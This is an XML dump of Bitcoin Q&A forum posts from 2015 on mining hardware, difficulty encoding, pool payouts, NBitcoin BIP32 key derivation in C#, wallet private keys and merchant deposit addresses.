  <row Id="36737" PostTypeId="1" CreationDate="2015-04-02T23:45:58.100" Score="1" ViewCount="162" Body="&lt;p&gt;I want to find a WiFi solution where I can sell my internet service with anyone who needs to use it... ideally paying in an altcoin or Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any router modifications, or infrastructures that support a wallet service?  (e.g. the user pays at the captive portal) and then has time or bandwith limited access to the internet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://lifehacker.com/how-to-choose-the-best-firmware-to-supercharge-your-wi-1694982764?utm_campaign=socialflow_lifehacker_facebook&amp;amp;utm_source=lifehacker_facebook&amp;amp;utm_medium=socialflow&quot; rel=&quot;nofollow&quot;&gt;this list of router firmware&lt;/a&gt; that may support such modding, but not sure which one is best (and most secure) for the job. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lacking that, perhaps I can leverage RADIUS authentication.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2016-09-08T17:26:53.190" LastActivityDate="2016-09-08T21:24:03.130" Title="Is how can I enable my wifi router to accept Bitcoin for adhoc/ anonymous usage?" Tags="|security|network|altcoin|merchants|merchant-services|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36739" PostTypeId="1" AcceptedAnswerId="36741" CreationDate="2015-04-03T05:10:36.663" Score="1" ViewCount="220" Body="&lt;p&gt;This thing sounds like there is a jet waiting to take off in my office. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I replace the fans with quieter ones? If so, can you recommend which fans to buy to replace the stock ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="12920" LastEditorUserId="2306" LastEditDate="2017-04-25T20:02:34.197" LastActivityDate="2017-04-25T20:02:34.197" Title="Can I replace the fans in a Zeus Hurricane x3?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36741" PostTypeId="2" ParentId="36739" CreationDate="2015-04-03T07:04:50.323" Score="1" Body="&lt;p&gt;You're looking for a 120mm x 120mm x 38mm fan which can produce at least 120 CFM of airflow and runs on DC 12V. &lt;a href=&quot;https://zeusminer.com/forums/topic/fans-used/#post-9713&quot; rel=&quot;nofollow&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://zeusminer.com/forums/topic/fans-used/#post-10404&quot; rel=&quot;nofollow&quot;&gt;a random guy on the internet&lt;/a&gt;, the stock fans produce about 60-70dB of noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various fans you can buy, but they're all pretty similar in terms of noise.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16835213006&quot; rel=&quot;nofollow&quot;&gt;http://www.newegg.com/Product/Product.aspx?Item=N82E16835213006&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also buy one that has less airflow, but is much quieter.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16835132022&quot; rel=&quot;nofollow&quot;&gt;http://www.newegg.com/Product/Product.aspx?Item=N82E16835132022&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...or, if you've ever looked at your Hurricane and decided you wanted twice as much airflow, you could install this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.newegg.com/Product/Product.aspx?Item=N82E16835706015&quot; rel=&quot;nofollow&quot;&gt;http://www.newegg.com/Product/Product.aspx?Item=N82E16835706015&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The product reviews even use the phrase &quot;jet engine.&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will void your warranty. (Assuming you have one.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-03T14:05:07.060" LastActivityDate="2015-04-03T14:05:07.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36742" PostTypeId="2" ParentId="36725" CreationDate="2015-04-03T08:18:04.133" Score="0" Body="&lt;p&gt;Yes, all forms of mining including solo have the same effective output (though some with more variance than others). Some pools charge fees however. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-03T08:18:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36743" PostTypeId="2" ParentId="36731" CreationDate="2015-04-03T09:56:47.090" Score="0" Body="&lt;p&gt;If I posted a brainwallet password here encoding a private key with unspent Bitcoins and you redeemed the Bitcoin, I &lt;strong&gt;know&lt;/strong&gt; it was someone called @AmirrezaNasiri: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does one go about identifying your &lt;em&gt;actual identity&lt;/em&gt;? &lt;/li&gt;&#xA;&lt;li&gt;How does your online/real-life identity help me recover irreversibly spent Bitcoin?&lt;/li&gt;&#xA;&lt;li&gt;How do I prove the scammer is lying when they claim foul play at the hands of a hacker? blame a hacker&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Assuming I have proof of your identity though&lt;/em&gt;, what legal repercussions can an &lt;em&gt;internationally based&lt;/em&gt; identity expect to face from &lt;em&gt;my country's&lt;/em&gt; laws?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But let's assume a best case scenario, where an online identity is linked to a known real-life identity. And let's assume the victims are scammed by someone who is a citizen of the same country. Pretty unlikely? Well, &lt;strong&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Inputs.io&quot; rel=&quot;nofollow&quot;&gt;all this actually happened&lt;/a&gt;&lt;/strong&gt; with the $1.8 million &quot;hack&quot; of Inputs.io; &lt;a href=&quot;http://www.theage.com.au/it-pro/security-it/australian-bitcoin-bank-hacked-1m-stolen-20131108-hv2iv.html&quot; rel=&quot;nofollow&quot;&gt;the admin's response to the Australian media:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(Inputs.io admin TradeFortress) said he won't be reporting the incident to law enforcement because there were &quot;extremely limited actions&quot; it could undertake considering the currency can't be easily traced.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's actually very simple: &lt;strong&gt;&lt;em&gt;if you don't hold the private keys to your Bitcoin, you don't own them&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-03T10:22:45.997" LastActivityDate="2015-04-03T10:22:45.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36744" PostTypeId="1" AcceptedAnswerId="36746" CreationDate="2015-04-03T10:17:05.127" Score="2" ViewCount="509" Body="&lt;p&gt;Why is the target converted to &quot;Bits&quot; and not stored in full in the block header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, why:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hash&quot; : &quot;000000000003ba27aa200b1cecaad478d2b00432346c3f1f3986da1afd33e506&quot;,&#xA;&quot;height&quot; : 100000,&#xA;&quot;bits&quot; : &quot;1b04864c&quot;,&#xA;&quot;difficulty&quot; : 14484.16236123,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hash&quot; : &quot;000000000003ba27aa200b1cecaad478d2b00432346c3f1f3986da1afd33e506&quot;,&#xA;&quot;height&quot; : 100000,&#xA;&quot;target&quot; : &quot;000000000004864c000000000000000000000000000000000000000000000000&quot;,&#xA;&quot;difficulty&quot; : 14484.16236123,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it to save space?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="2306" LastEditDate="2015-04-03T11:56:54.783" LastActivityDate="2017-05-04T12:21:25.970" Title="Why is the target stored in compact form in the block header?" Tags="|difficulty|block-header|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36745" PostTypeId="1" AcceptedAnswerId="36875" CreationDate="2015-04-03T10:25:29.117" Score="5" ViewCount="299" Body="&lt;p&gt;What does this protect against? And why &lt;strong&gt;4&lt;/strong&gt; in particular?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know an adjustment of this magnitude is not likely to take place at this stage, but I'm wondering why this was implemented in the first place.&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2015-04-10T20:28:10.963" Title="Why is the difficulty adjustment restricted to a factor of 4?" Tags="|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36746" PostTypeId="2" ParentId="36744" CreationDate="2015-04-03T10:53:16.747" Score="3" Body="&lt;p&gt;Your rendition is longer if nothing else, the entire header is only 80 bytes long. The encoding of &quot;bits&quot; is historical and is left over from the pre-release 0.1.0 client. There's other things in the header which could have been encoded better (the nonce should have been longer, and the version read as a bitfield not an int, and an aux merkle root would have been nice), but as it is there's no really great reason to change anything due to the amount of inertia behind the current formation. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2017-05-04T12:21:25.970" LastActivityDate="2017-05-04T12:21:25.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36747" PostTypeId="2" ParentId="36725" CreationDate="2015-04-03T11:09:51.570" Score="1" Body="&lt;p&gt;This is an interesting question, but also a very difficult one to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, all pools don't pay exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking at how much a pool paid out over a few days is pointless due to variance. Another mistake common with beginners is to try to find some magic ratio between your hashrate and the pool's hashrate that will let you earn more. In reality this ratio has zero influence on your earnings. I will try below to tell you what actually influences your mining income in the real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best data currently available is probably the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=104664.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTC Mining Pool List at Bitcointalk&lt;/a&gt;. Note that the profitability graphs at the bottom do not (at the time I write this) take into account pool fees, merged mining and rejected work (the last one being very individual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which pool is most profitable to mine for you depends on a lot of factors. I'd say there are two main influences on how profitable a pool will be for you: &lt;strong&gt;variance&lt;/strong&gt; and &lt;strong&gt;expected average income&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Variance is determined by pool hashrate and reward system (PPS, DGM, others). The more variance the more luck will influence your profits. The variance tells you how far the income is likely to vary from the expected average over the short term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expected average income is determined by a lot of factors, which many miners probably don't realize:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which ratio of rejected work are you getting? Some pools have a higher average reject ratio than other pools. On some pools your individual reject ratio may be especially low. Some pools artificially lower your reject ratio by paying rejected work. This is not actually an improvement. It means people with low reject ratio (good setup) are forced to give some of their income to people with high reject ratio (bad internet line, bad equipment).&lt;/li&gt;&#xA;&lt;li&gt;What ratio of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5859/what-are-orphaned-and-stale-blocks&quot;&gt;orphaned blocks&lt;/a&gt; does the pool have? (ignore for pps pools)&lt;/li&gt;&#xA;&lt;li&gt;What's the average income from a block in the pool?  (ignore for pps pools) Some pools will have a higher income from transaction fees. Some pools keep the transaction fees and don't pay them out to miners.&lt;/li&gt;&#xA;&lt;li&gt;How much of a bonus do you get from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/how-does-merged-mining-work&quot;&gt;merged mining&lt;/a&gt;? This depends on which other coins are merged mined, their difficulty, their current value compared to bitcoin, in addition to all the factors listed here but for the merged coin (average income per block for the pool, orphan ratio for the merged coins, etc.)&lt;/li&gt;&#xA;&lt;li&gt;What is the pool fee?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't include &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5072/what-is-pool-hopping&quot;&gt;pool hopping&lt;/a&gt; in this list, since most Bitcoin mining pools are not vulnerable to pool hopping. Things may differ in the altcoin world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some factors that are the same for all pools, like bitcoin difficulty, bitcoin value and your expenses, like electricity. Bitcoin mining calculators seem to cover these well, but they don't cover most of the factors above that are individual to each pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that being said, there's a lot of other reasons for picking a pool than a small difference in mining income.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-04-03T11:09:51.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36748" PostTypeId="1" AcceptedAnswerId="36749" CreationDate="2015-04-03T14:10:38.657" Score="6" ViewCount="4025" Body="&lt;p&gt;I'm using c# NBitcoin to generate master key at an offline server&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExtKey privateKey = new ExtKey(&quot;[My seed]&quot;);&#xA;ExtPubKey pubKey = privateKey.Neuter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will need to give the online server the master public key, and it can generate as many addresses it needs, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I pass the master public key (&lt;strong&gt;pubKey&lt;/strong&gt;) to this code in the online server ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinAddress address1 = **pubKey**.Derive([some client data]).PubKey.GetAddress(Network.Main);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best practice to listen for a payment received on this new address ? I'm working with web requests to &lt;a href=&quot;http://btc.blockr.io/api/v1/address/unconfirmed/[address1]&quot; rel=&quot;noreferrer&quot;&gt;http://btc.blockr.io/api/v1/address/unconfirmed/[address1]&lt;/a&gt;&lt;br&gt;&#xA;My language is c# server side.&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2015-04-22T18:13:35.637" LastActivityDate="2018-04-03T11:53:20.343" Title="How to use NBitcoin for BIP32 wallets" Tags="|bip32-hd-wallets|c#|nbitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36749" PostTypeId="2" ParentId="36748" CreationDate="2015-04-03T16:09:50.387" Score="10" Body="&lt;p&gt;when you are doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinAddress address1 = **pubKey**.Derive([some client data]).PubKey.GetAddress(Network.Main);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are getting the bitcoin address, but not the master public key. (ExtPubKey)&#xA;A HD pub key have more information than just the pubkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string wifStr = **pubkey**.Derive([some client data]).ToString(Network.Main)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can reload it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExtPubKey key = ExtPubKey.Parse(wifStr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, the string format of an ExtPubKey have the Network to which it belong, that's why you also have the type &quot;BitcoinExtKey&quot; which represent in object oriented form both : the ExtPubKey AND the Network. If you need it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinExtPubKey wif = **pubkey**.GetWif(Network.Main)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://blockchainprogramming.azurewebsites.net/&quot; rel=&quot;noreferrer&quot;&gt;my book&lt;/a&gt;, there is other code samples around HD keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning the best practices, there is no silver bullet right now. I created an API called RapidBase which permit you to create wallet and add addresses to monitor in this wallet. (You can find it on github)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it if you want, but it is very unstable for now (API wise), so expect things to change in the future. If you are using blockr, I think your best bet is to request each addresses as you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using bitcoinq RPC, you can add address, but it takes time since bitcoin core will rescan the blockchain for fetching the relevant transactions each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be wrong, but for now there is no easy to use solution, exception rapidbase I developed, that is not very stable for now.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastEditorUserId="21478" LastEditDate="2015-04-03T16:21:53.720" LastActivityDate="2015-04-03T16:21:53.720" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36750" PostTypeId="1" CreationDate="2015-04-03T20:22:25.033" Score="-2" ViewCount="1116" Body="&lt;p&gt;I bought some bitcoins from Bittylicious a few days ago. I didn't have a wallet at the time but Bitcoin Core wallet has finally synchronized. I have the transaction ID and address and everything I thought I needed, but I'm not sure where to find the private key. How do I spend these bitcoins? Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24929" LastActivityDate="2015-05-05T10:27:30.910" Title="Bought bitcoins without a wallet. How do I spend them?" Tags="|private-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36751" PostTypeId="2" ParentId="36748" CreationDate="2015-04-03T21:00:28.440" Score="2" Body="&lt;pre&gt;&lt;code&gt;////////////////1st offline SERVER//////////////////&#xA;//Create Master Private Key with a seed&#xA;ExtKey privateKey = new ExtKey(&quot;16236c2028fd2018eb7049825e6b4f0191de4dbff003579918de7b7348ff06ac&quot;);&#xA;//create master public key from this privateKey&#xA;ExtPubKey pubKey = privateKey.Neuter();&#xA;//save it's wifStr as key to the next server to use and generate all child keys &#xA;string wifStr = pubKey.ToString(Network.Main);&#xA;////////////////END//////////////////&#xA;&#xA;&#xA;&#xA;////////////////2nd online SERVER//////////////////&#xA;ExtPubKey key = ExtPubKey.Parse(wifStr);&#xA;//The payment server receive an order, note the server does not need the private key to generate the address&#xA;uint orderID = 1001;&#xA;BitcoinAddress address = key.Derive(orderID).PubKey.GetAddress(Network.Main);&#xA;Console.WriteLine(address);&#xA;////////////////END//////////////////&#xA;&#xA;&#xA;////////////////3rd admin SERVER//////////////////&#xA;//Now on the server that have access to the private key, you get the private key from the orderID&#xA;ExtKey mPrivateKey = new ExtKey(&quot;16236c2028fd2018eb7049825e6b4f0191de4dbff003579918de7b7348ff06ac&quot;);&#xA;Key key1 = mPrivateKey.Derive(orderID).Key;&#xA;BitcoinSecret secret = key1.GetBitcoinSecret(Network.Main);&#xA;Console.WriteLine(secret); //Print a nice secret key string&#xA;////////////////END//////////////////&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-04-03T21:00:28.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36752" PostTypeId="2" ParentId="19058" CreationDate="2015-04-03T21:36:38.433" Score="0" Body="&lt;p&gt;This is an old thread but I noticed it wasn't closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous answers are incorrect.&#xA;The correct answer is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;None.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You shouldn't be trying to mine with a 6670.  If anyone else finds this page, do NOT mine with this card. Most likely you are spending more money in electricity than you are making back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to ASICs GPU mining is already being squeezed to the max and only really becomes realistic in fringe altcoin mining. But thanks to scrypt asics and god knows what else in the pipeline there is no point competing unless you have some of the top gear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are dead set on wasting your time/money and burning out your old graphics card, here are the ideal settings taken from the &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;scrypt mining hardware comparison&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;-I 18 -g 1 -w 256 --thread-concurrency 2400&lt;/li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That will net you an average of 127kH/s.&#xA;For comparison a top of the line card will net you an average of 1,500kH/s.&#xA;Keep in mind also that not all vendors are equal, a powercolor card won't be nearly as powerful as an equivalent EVGA or XFX.&lt;/p&gt;&#xA;" OwnerUserId="24931" LastActivityDate="2015-04-03T21:36:38.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36753" PostTypeId="2" ParentId="36750" CreationDate="2015-04-03T21:37:55.413" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I didn't have a wallet at the time...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean your wallet just wasn't fully synced? You'll need some sort of a wallet to receive coins, regardless of whether it's fully synced or not. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm not sure where to find the private key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The GUI handles the management of private keys for you, so you don't really have to think about this if you don't want to. To send coins, all you need to do is go to the send coins tab and fill out the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If did really need to get access to the private key, you can use the Debug Console (from help menu) and do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpprivkey {your_address}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-04-03T21:37:55.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36754" PostTypeId="2" ParentId="36739" CreationDate="2015-04-03T22:07:33.513" Score="0" Body="&lt;p&gt;&lt;strong&gt;Heres what you need:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TWO (yes two) equivalent size silent fans (&lt;a href=&quot;http://www.ncixus.com/products/?sku=100605&amp;amp;vpn=FD-FAN-SSR2-120-BK&amp;amp;manufacture=Fractal%20Design&quot; rel=&quot;nofollow&quot;&gt;these will do&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;a CPU fan splitter cable (&lt;a href=&quot;http://www.ncixus.com/products/?sku=79525&amp;amp;vpn=SST-CPF01&amp;amp;manufacture=Silverstone%20Technology&quot; rel=&quot;nofollow&quot;&gt;this is good&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Screwdriver (duh)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;Extra points (Optional):&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Drill with metal drill bit&lt;/li&gt;&#xA;&lt;li&gt;Zipties&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Fractal Design Silent Series R2 have a noise rating of 18dB and push 66CFM of air.There are cheaper ones as well that push less CFM. Just to be safe I wouldn't cheap out on these, the more CFM the better. NCIX has awesome selection of fans and are always having sales so you might find something even cheaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that stock 120 CFM fan will not be operating at max capacity and a push-pull setup like what I am describing will operate at a much higher efficiency rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Heres what you wanna do:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open up the case&lt;/li&gt;&#xA;&lt;li&gt;Replace the front vent fan with one of the new silent fans taking care to orient the fan backwards so the air is pulled out of the machine (use zipties or rubber grommets to reduce vibration)&lt;/li&gt;&#xA;&lt;li&gt;If you don't have a drill, jam one in between the radiator blades and the case on the other side, taking care to orient the fan so it is pushing air inside the machine. You can use a piece of rubber/metal/wood (I wouldn't recommend using something plastic)&lt;/li&gt;&#xA;&lt;li&gt;Attach both fans together using the splitter cable, then plug the splitter cable into the mainboard or powersupply.&lt;/li&gt;&#xA;&lt;li&gt;Reattach case&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Extra Points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With your Drill, and the case &lt;strong&gt;OFF&lt;/strong&gt; drill 4 holes in the intake side equivalent to the 4 holes on the corner of the fan (try to line it up so the 4 holes are in the center of the radiator fan)&lt;/li&gt;&#xA;&lt;li&gt;Line up the fan with the 4 holes and using zip ties, tighten the fan into place taking care to orient the fan properly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*Pro tip: loop the zipties from the fan-side so that the plastic nubs don't stick out and cut the tails off your zip ties for christs sakes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voila! you have reduced your 70-90dB monster growl to a 20-25dB kitty purr.&#xA;Air is pushed into and along the radiator blades by a 66CFM fan and is pulled along and out the other side by another 66CFM fan. Operating temps might be a little higher but nothing to worry about. Also can be used to quietly heat a room (save on heating in the winter).&lt;/p&gt;&#xA;" OwnerUserId="24931" LastEditorUserId="24931" LastEditDate="2015-04-03T22:25:38.007" LastActivityDate="2015-04-03T22:25:38.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36757" PostTypeId="1" CreationDate="2015-04-04T06:30:03.883" Score="3" ViewCount="323" Body="&lt;p&gt;I heard that Counterparty cannot handle lock time, but I cannot understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen when we use nLockTime in a transaction which includes Counterparty transactions?&lt;/p&gt;&#xA;" OwnerUserId="24936" LastEditorUserId="2306" LastEditDate="2015-04-05T04:48:35.333" LastActivityDate="2017-01-14T09:13:14.423" Title="What will happen when nLockTime is used along with Counterparty transactions" Tags="|locktime|counterparty|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36758" PostTypeId="1" AcceptedAnswerId="36760" CreationDate="2015-04-04T09:08:39.443" Score="1" ViewCount="462" Body="&lt;p&gt;Any way to create a multisig address from Bitcoin addresses (instead of public keys)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, why not? What would the problem be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED - Thanks for the answers. This is for an application that generates multisig transactions with escrow for external users. Of course anyone who controls an address can find the public key, but that's probably beyond many casual users (or too much of an hassle).&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="1799" LastEditDate="2015-04-05T07:41:58.830" LastActivityDate="2015-04-05T07:59:20.743" Title="Any way to create a multisig address from Bitcoin addresses (instead of public keys)?" Tags="|bitcoind|multi-signature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36759" PostTypeId="1" AcceptedAnswerId="36761" CreationDate="2015-04-04T10:15:15.637" Score="0" ViewCount="689" Body="&lt;p&gt;I have a store that uses bitcoin as a payement. &lt;br&gt;&#xA;I want to make users deposit to their balance in the site, as I saw in many sites, &lt;br&gt;&#xA;a bitcoin address is generated for each user to deposit funds to it, and use his dashboard in the site to withdaw it to his BTC address anytime.&lt;br&gt;&lt;br&gt;&#xA;I am using PHP. How to do it?&lt;/p&gt;&#xA;" OwnerUserId="24939" LastActivityDate="2015-04-04T12:10:02.940" Title="Creating a virtual wallet to display balance in a store" Tags="|wallet|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36760" PostTypeId="2" ParentId="36758" CreationDate="2015-04-04T11:46:08.447" Score="1" Body="&lt;p&gt;No. &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; only supports multiple pubkey not pubkeyhash (addresses).&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-04T11:46:08.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36761" PostTypeId="2" ParentId="36759" CreationDate="2015-04-04T12:10:02.940" Score="0" Body="&lt;p&gt;It is a way much better practice to generate a new address for every new order and not per user, as this would imply &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow&quot;&gt;address reuse&lt;/a&gt; for returning customers, &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse#Problems&quot; rel=&quot;nofollow&quot;&gt;which is generally discouraged&lt;/a&gt;. Then the users won't have to keep their funds on your website and will only pay the exact amount for each order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look at &lt;a href=&quot;https://github.com/search?l=PHP&amp;amp;q=bitcoin&amp;amp;type=Repositories&quot; rel=&quot;nofollow&quot;&gt;these open source projects for bitcoin written in PHP&lt;/a&gt; for starters.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-04-04T12:10:02.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
